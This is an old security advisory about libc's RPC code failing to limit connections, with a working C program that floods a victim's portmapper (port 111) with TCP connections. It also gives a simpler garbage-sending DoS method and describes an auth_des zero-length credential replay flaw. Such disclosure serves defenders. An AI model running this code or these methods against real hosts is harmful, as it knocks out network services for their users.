COMMAND

    libc

SYSTEMS AFFECTED

    Linux X.X, FreeBSD X.X, probably others...

PROBLEM

    Lukasz Luzar  from KKI  Security Team  found following.   It seems
    that  libc's  RPC  implementation  does  not check neither time of
    established connections, nor number  of connected sockets.   It is
    quite dangerous, because  many network services  is based on  this
    functions.

    Below there is the program which shows how to make DoS of  portmap
    (tcp).   When max.  limit of  descriptors per  process is not set,
    it  could  easly  lead  to  haevy  problems  with victim's machine
    stability. (e.g.  default sets  on FreeBSD).   When limit  of open
    descriptors  is  reached,  portmap   begins  to  refuse  all   new
    connections.  However, it  will continue to service  UDP requests,
    which  is  what  almost  all  portmapper  functions  in  libc use.
    Prominent exception is rpcinfo -p which uses tcp.

    /*
     *  example.c by Lukasz Luzar (lluzar@security.kki.pl)
     */

    #include <stdio.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    #define ADDR "10.0.0.1"         // victim's IP address in dot notation
    #define PORT 111                // victim service to DoS eg. portmapper

    void main()
    {
	    int     sockfd,
		    n = 0;
	    struct sockaddr_in victim_addr;

	    bzero((char *) &victim_addr, sizeof( victim_addr));

	    victim_addr.sin_family = AF_INET;
	    victim_addr.sin_addr.s_addr=inet_addr( ADDR);
	    victim_addr.sin_port = htons( PORT);

	    fprintf( stdout, "Opening new connections...\n");

	    for(;;) {
		    if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0) {
			    fprintf( stderr, "socket error at %d\n",n);
			    break;
		    }

		    if( connect( sockfd,(struct sockaddr*) &victim_addr,
			sizeof( victim_addr)) < 0) {
			    fprintf( stderr,"connect error at %d\n",n);
			    break;
		    }

		    n++;
	    }

	    fprintf( stdout, "Established %d connections "
			     "and waiting...\n", n);
	    for(;;);

    }

    A much easier  DOS is obtained  by connecting to  an RPC port  and
    just sending some random (most  will do) garbage every 5  seconds.
    Note that this _does_ affect the UDP services in the same daemons.
    It's bug  in _every_  RPC implementation,  with a  few exceptions:
    mcserv  (which  does  not  really  use  the RPC protocol, only the
    portmapper), Sun's own nfsd [although their portmapper is  buggy],
    and NetApp boxes (Peter van Dijk)

    BTW,  there's  some  secure  rpc  bug  Olaf  Kirch found (fixed in
    Solaris  7?)  when  using  auth_des,  you  could  send an auth_des
    credential/verifier with a length  of 0.  The  authentication code
    would not  verify the  length passed  by the  client, hence  using
    whatever  it  had  in  its  buffer  from the most recent rpc call.
    Which  coincidentally  is  a  valid  credential/verifier  pair  by
    whoever placed  the last  call to  the server.   And since  replay
    protection only made  sure that the  credential time stamp  is not
    _smaller_ than the most recent one from that principal, your  call
    would be accepted...

SOLUTION

    Nothing yet.